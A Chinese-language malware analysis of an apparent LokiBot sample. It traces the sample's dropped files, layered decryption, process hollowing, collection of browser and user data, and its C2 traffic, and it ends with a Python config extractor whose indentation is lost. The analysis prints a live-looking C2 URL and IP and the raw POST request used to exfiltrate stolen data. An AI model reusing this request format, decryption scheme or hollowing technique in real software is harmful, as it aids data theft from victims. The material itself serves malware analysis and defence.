火绒剑行为监控
行为监控
1.主程序在temp文件夹下释放frhdgr.exe
2.并创建进程 参数为 C:\Users\xxx\AppData\Local\Temp\frhdgr.exe C:\Users\xxx \AppData\Local\Temp\vxogkynyop
3.主进程退出
4.frhdgr.exe自我删除 并释放C:\Users\xxx\AppData\Roaming\F503CB\B28854.exe 隐藏文件
网络监控
frhdgr.exe有网络连接和数据包发送等行为 数据包未加密
恶意代码分析
第一层代码-释放PE文件
在temp文件夹下创建vxogkynyop文件
向文件中写入加密的代码
此加密代码解密后是一段shellcode 用于解密核心PE文件的
还会再temp文件夹下创建wdxw2bfd6vcc5n文件 此文件为样本的核心代码 解密后的数据是PE文件 解密算法就在vxogkynyop文件中
在临时文件夹下创建frhdgr.exe文件 向文件中写入PE文件
创建进程 进程参数就是vxogkynyop文件
提取样本
第二层代码-frhdgr.exe进程
解密代码 ((xx-0x18) ^ 0x80) - 0x28
第三层代码-解密后的shellcode
1.Temp文件夹下打开了wdxw2bfd6vcc5n文件
2.获取wdxw2bfd6vcc5n文件的大小
3.申请空间 读入wdxw2bfd6vcc5n文件的数据
4.文件句柄关闭
函数3a0a2b解密出PE文件
又创建了自己 并且是挂起状态
获取进程的线程上下文
在新创建的Frhdgr.exe进程申请空间 首地址为0x00400000
向新创建的Frhdgr.exe进程拷贝PE文件(按内存对齐展开)
注:此pe文件就是wdxw2bfd6vcc5n文件解密后的
运行程序
本进程退出
第四层代码-新创建的Frhdgr.exe进程
开始会检查有没有 -u参数如果有就睡10秒
获取键值
键值计算的哈希值作为互斥体的名称 创建互斥体防多开
此函数循环调用了65个函数 没有仔细的一个一个看 点进去几个 都是在获取用户机上已经安装的 病毒作者感兴趣的app的一些信息
65个函数中第一个函数获取火狐浏览器的版本信息
浏览器的安装路径 还会获取一些其他的浏览器信息
收集用户信息
获取用户名称
检索本地计算机的 NetBIOS 名称
检索此 SID 的帐户名称和找到此 SID 的第一个域的名称
网络相关
返回URL完整信息 http://sempersim.su/gg1/fre.php
解密URL
Sub_413bcc返回了完整的URL信息 函数会跳转到0x004A0000的位置执行代码 0x004A0000就是PE文件的.X段 .X段存储了解密代码 和未解密的数据
解密前的URL数据 在.X偏移0x74的位置
就是一个异或操作 数据异或0xFF
解密后
返回端口号 和要访问的路径
返回User Agent字段 Mozilla/4.08 (Charon; Inferno)
返回完整的post请求数据包
通过以下的域名和端口返回了 addrinfo结构的链表
EDI为addrinfo结构
连接的服务器就是通过getaddrinfo返回的 Connect连接的IP地址34.175.248.207
Send 发送数据
POST /gg1/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: sempersim.su
Accept: */*
Content-Type: application/octet-stream
Content-Encoding: binary
Content-Key: 80D85F96
Content-Length: 206
Connection: close
发送开始收集到的用户的信息
Recv接收数据
HTTP/1.1 408 Request Time-out
content-length: 110
cache-control: no-cache
content-type: text/html
connection: close
<html><body><h1>408 Request Time-out</h1>.Your browser didn't send acomplete request in time</body></html>
函数返回注册表MachineGuid的值计算后的哈希值
移动病毒文件 新文件夹名称是哈希值的8~13位 新文件名称是13~18位
返回了注册表的路径 但感觉程序解析字符串的时候发生错误了
转换后的注册表的路径
创建键值 但是失败了 这里可以猜测病毒想加入到注册表自启动列表中 但是由于出现了什么问题 导致注册表路径发生错误 导致加入失败
设置文件的属性为系统文件且隐藏
函数sub_412D31开始有获取用户信息的操作 然后会发送给服务器 服务器回应的信息作为线程的参数 线程回调处理接收到的数据
线程部分
线程处理接收数据
可再次获取浏览器的信息 支持下载数据 创建进程 加载模块和打开网页等操作
核心函数sub_40648B 通过参数的不同执行不同的操作
参数介绍:
1.要下载数据的地址(url)
2.0
3.0
4.文件的后缀
5.CSIDL :26 通过SHGetFolderPathW函数获取C:\Program Files目录
6.值为1说明下载的是dll文件 值为0 会执行创建进程或者打开网页等操作
7.创建进程时的参数 0或者-u
配置静态提取工具:
import re
import struct
import sys
import pefile
from Cryptodome.Cipher import DES3
DESCRIPTION = "LokiBot configuration parser."
AUTHOR = "honkone"
def find_iv(pe):
iv = -1
t = pe.get_memory_mapped_image() if isinstance(pe, pefile.PE) else pe
temp = re.findall(rb"""\x68...\x00.{1,10}\x68...\x00\x68...\x00\x68...\x00\x03\xc1""", t)
if temp != []:
(addr,) = struct.unpack_from("<I", temp[0][1:])
addr -= 0x400000
iv = t[addr : addr + 8]
return iv
def try_find_iv(pe):
dlen = 8 * 4
t = pe.get_memory_mapped_image() if isinstance(pe, pefile.PE) else pe
off = t.find(b"\x6a\x08\x59\xbe")
if off == -1:
return -1
(addr,) = struct.unpack_from("<I", t[off + 4 :])
addr -= 0x400000
# Go until past next blob to \x00\x00\x00\x00
off = t[addr + dlen + 4 :].find(b"\x00\x00\x00\x00")
off += addr + dlen + 4 + 4
iv = t[off : off + 8]
# This doesn't work for all samples... still interesting that the data is in close proximity sometimes
nul, key3, nul, key2, nul, key1 = struct.unpack_from("<I8sI8sI8s", t[off + 8 :])
# key = f"\x08\x02\x00\x00\x03\x66\x00\x00\x18\x00\x00\x00{key1}{key2}{key3}"
return iv
def find_conf(pe):
dlen = 8 * 4
t = pe.get_memory_mapped_image() if isinstance(pe, pefile.PE) else pe
off = t.find(b"\x6a\x08\x59\xbe")
(addr,) = struct.unpack_from("<I", t[off + 4 :])
# print(hex(addr))
addr -= 0x400000
ret = [t[addr : addr + dlen]]
dlen = 10 * 4
off = t.find(b"\x6a\x0a\x59\xbe")
(addr,) = struct.unpack_from("<I", t[off + 4 :])
# print(hex(addr))
addr -= 0x400000
ret.append(t[addr : addr + dlen])
return ret
def find_key(pe):
ret = None
t = pe.get_memory_mapped_image() if isinstance(pe, pefile.PE) else pe
temp = re.findall(rb"""\x68...\x00\x68...\x00\x68...\x00\x03\xc1""", t)
if temp != []:
ret = "\x08\x02\x00\x00\x03\x66\x00\x00\x18\x00\x00\x00"
temp = temp[0][:-2].split("\x68")[::-1]
for a in temp:
if a != "":
(addr,) = struct.unpack_from("<I", a)
# print(hex(addr))
addr -= 0x400000
ret += t[addr : addr + 8]
return ret
def decoder(data):
x_sect = None
urls = re.findall(rb"""https?:\/\/[a-zA-Z0-9\/\.:\-_]+""", data)
pe = None
try:
pe = pefile.PE(sys.argv[1])
for sect in pe.sections:
if ".x" in sect.Name:
x_sect = sect
img = pe.get_memory_mapped_image()
except Exception:
img = data
if x_sect is not None:
x = img[x_sect.VirtualAddress : x_sect.VirtualAddress + x_sect.SizeOfRawData]
x = bytearray(x)
else:
x = bytearray(img)
for i in range(len(x)):
x[i] ^= 0xFF
temp = re.findall(rb"""https?:\/\/[a-zA-Z0-9\/\.:\-_]+""", x)
urls += temp
urls = [x for x in urls if x not in ("http://www.ibsensoftware.com/", "")]
# Try to decrypt onboard config then
if not urls:
temp = ""
if pe is None:
pe = data
key = find_key(pe)
# iv = try_find_iv(pe)
iv = find_iv(pe)
confs = find_conf(pe)
if iv not in ["", -1] and confs != []:
for conf in confs:
dec = DES3.new(key[12:], DES3.MODE_CBC, iv)
temp += dec.decrypt(conf)
temp_urls = re.findall(rb"""[a-zA-Z0-9\/\.:\-_]{6,}""", temp)
urls += temp_urls
return urls
def extract_config(filebuf):
urls = decoder(filebuf)
return {"address": [url.decode() for url in urls]}
if __name__ == "__main__":
with open(sys.argv[1], "rb") as f:
data = f.read()
print(extract_config(data))